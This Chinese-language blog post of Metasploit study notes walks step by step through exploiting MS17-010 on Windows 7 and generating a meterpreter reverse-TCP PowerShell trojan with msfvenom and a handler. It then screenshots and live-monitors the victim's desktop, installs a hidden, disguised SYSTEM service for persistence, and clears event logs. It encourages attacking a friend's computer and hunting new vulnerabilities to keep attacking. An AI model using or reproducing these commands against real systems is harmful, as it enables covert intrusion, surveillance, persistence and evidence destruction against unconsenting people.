×

ZeAy Blog

首页 » 学习笔记 » Metasploit Framework(MSF) 学习笔记

Metasploit Framework(MSF) 学习笔记

Metasploit Framework(MSF) 学习笔记

1. Metasploit Framewoyk介绍

Metasploit Framewoyk(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名

2. 安装Metasploit Framework(MSF)

MSF在kali中自带,当然如果你是Windows也可以在它的官网自行下载

https://windows.metasploit.com/
网址截图

安装需要退出所有的杀毒软件或者说把你的安装目录加入到白名单。否则会报木马、溢出程序、脚本病毒、风险程序、黑客工具等的问题,还会隔离甚至删除这些文件。这样就会造成你的软件功能不完整,安装之前一定要关闭杀毒,加入白名单

2.2 把MSP添加到系统环境变量

安装完成之后,默认安装在C盘中,进入Bin目录即可访问MSF,但是我们需要在CMD随时随地的在CMD调用MSF,这时候就需要把MSF添加到系统环境变量了(kali系统默认不用 在终端启动即可)

执行命令添加环境变量
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PATH /t REG_EXPAND_SZ /d "%PATH%;C:\metasploit-framework\bin" /f

打开CMD执行msfconsole即可进入MSF的界面

3. 利用“永恒之蓝”MS17-010漏洞攻击

永恒之蓝(对应微软漏洞编号 MS17 - 010)是针对 Windows 的高危远程代码执行漏洞,最初由美国国家安全局开发为攻击工具,2017 年 4 月被黑客组织 “影子经纪人” 公开后,引发了全球多起重大网络安全事件

漏洞补充介绍📌

  • 漏洞原理
  • 该漏洞利用 Windows 系统 SMBv1 协议存在的逻辑缺陷,攻击者无需目标主机账号密码,仅通过 445 端口即可远程执行任意代码,获取系统最高权限。

  • 受影响系统
  • Windows XP、Windows 7、Windows Server 2003/2008 等老旧未打补丁系统,微软早在 2017 年 3 月就发布对应安全补丁修复该漏洞。

  • 知名攻击事件
  • 公开后爆发WannaCry(想哭勒索病毒)、NotPetya 等全球大规模勒索攻击,大量企业、医院、政府机构系统瘫痪,数据被加密勒索比特币。

3.2 在MSF控制台搜索和使用MS17-010漏洞


在msf >控制台输入 search + 漏洞编号即可搜索到相应的msf模块
search ms17010

使用【use】命令选择使用的模块 对应上图的123456789编号

我们的靶机是Windows7所以选择【2】
use 2

3.3 命令查看MSF相关的配置信息

使用【options】命令查看相关的配置信息


使用【set】设置攻击模块参数,我们需要修改“RHOSTS”也就是受害者的IP地址
(例如192.168.41.184)


然后我们再次输入【options】查看配置信息,发现修改成功图内的其他配置信息同样步骤

3.4 运行并攻击目标机器

配置好攻击参数之后使用【run】启动攻击


MSF的控制台提示【meterpreter >】也就代表攻击成功已经获取到控制的端口了


输入【shell】进入Windows7的cmd终端


输入【msg】测试是否有弹窗提示
(这是一个很装逼的的命令 可以输入“你的电脑被黑客入侵了”)
msg * "123"

然后对方的电脑就会弹出你输入的内容,我这里输入“123”测试

攻击目标机器画面

在MSF控制台输入【calc】测试打开对方电脑的计算器


攻击目标机器画面

所以就到达了一个远程操控你的权限了,假如你朋友在打游戏你反手使用MSF攻击获取权限,然后把他的电脑直接关机,你朋友会气急败坏

但是呢这个是2017 年的漏洞,如今早已修复,需要使用新的漏洞,举一反三完成攻击

4. 使用MSF一键生成木马

我们需要通过木马去控制Windows系统
达到可以删除,控制,截图,监控等等一些操作
生成木马的命令
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=你的IP LPORT=端口 -f psh-reflection >1.ps1

msfvenom:Metasploit 内置载荷生成工具,用于生成各类远控木马 / 后门

-p windows/x64/meterpreter/reverse_tcp
指定载荷:64 位 Windows 系统、Meterpreter 交互式后门、反向 TCP 回连

LHOST=192.168.41.201:监听端 IP(攻击者本机 IP)

LPORT=8867:监听端口(攻击机开放 8867 等待目标回连)

-f psh-reflection:输出格式为反射型 PowerShell 脚本,内存加载、无落地文件

>x.ps1:将生成的脚本保存为 x.ps1 文件

生成木马

4.2 在MSF控制台监听木马

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lport 端口
run

逐行参数解析📌

msfconsole
启动 Metasploit 渗透框架主控制台,进入 msf 交互环境。

use exploit/multi/handler
加载通用监听模块handler,专门用于接收反向载荷(reverse_tcp)的回连连接。

set payload windows/x64/meterpreter/reverse_tcp
设置监听载荷,必须和之前 msfvenom 生成木马时的载荷完全一致:适配 64 位 Windows、Meterpreter 交互式远控、TCP 反向连接。

set lport 端口
指定本机监听端口,需要和生成木马时LPORT=端口的数字完全匹配(上一张示例端口为 8867,此处应写set lport 8867);

run
启动监听,等待目标主机执行 ps1 脚本后主动回连。

输入【options】命令查看相关的配置信息


然后输入【set lport 端口】修改端口号,输入【set lhost IP地址】修改IP地址


修改完成之后输入【run】运行监听


就开始监听绑定地址为内网 IP 192.168.41.1 开放端口 6688

4.3 对方已运行木马程序【ps1】

我们控制台就会显示
[*] Sending stage (230982 bytes) to 192.168.41.132 (对方IP地址)


提示【meterpreter >】就可以控制了


然后我们可以执行一些指令,详细指令可以看看这篇文章【Metasploit Framework 全套控制命令完整版文档】那我们就演示“获取目标桌面截图”和“实时监控目标桌面”

输入【screenshot】获取目标桌面截图
screenshot
命令执行成功

目标电脑的截图

输入【screenshare】实时监控目标桌面
screenshare
目标电脑实时监控

4.4 植入服务病毒保持开机自启动

1、创建服务
sc create shell start= auto binPath= "cmd.exe /k powershell.exe -w hidden -ExecutionPolicy Bypass -NoExit -File C:\Windows\shell.ps1" obj= LocalSystem



2、对该服务进行伪装
sc description "shell" "绝对安全的shell哈哈哈"

3、设置服务的自动启动
sc config "shell" start= auto

4、隐藏服务
sc sdset shell "D:(D;;DCLCWPDTSDCC;;;IU)(D;;DCLCWPDTSDCC;;;SU)(D;;DCLCWPDTSDCC;;;BA)(A;;;CCLCSWLOCRRC;;;IU)(A;;;CCLCSWLOCRRC;;;SU)(A;;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;;CCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

5、然后启动该服务
net start "服务名"

命令逐段解析📌


1. sc create 创建持久化后门服务

  • sc create shell:创建名为 shell 的 Windows 系统服务
  • start= auto:设置开机自动启动(等号后必须带空格,sc 命令语法强制要求)
  • binPath="xxx":服务运行程序路径
    • cmd.exe /k:持续运行 cmd 不关闭
    • powershell.exe -w hidden:隐藏 PowerShell 窗口,无界面运行
    • -ExecutionPolicy Bypass:绕过系统 PowerShell 脚本执行限制
    • -NoExit:脚本执行完毕不退出进程,维持后门会话
    • -File 路径:加载存放的 shell.ps1 反弹脚本
  • obj= LocalSystem:服务以最高系统权限 LocalSystem运行,可完全控制系统

2. sc description 伪装服务描述

给服务添加迷惑性文字,降低管理员排查警惕性。

3. sc config 修改服务启动类型

二次确认设置服务开机自启,和创建时start=auto作用重复,属于加固配置。


4. net start "服务名" 启动服务
示例中服务名是shell,实际完整命令应为:
net start shell

4.5 清除日志、抹除痕迹、全身而退

在meterpreter控制下输入【clearev】清除日志


5. 笔记完成啦~ 感谢阅读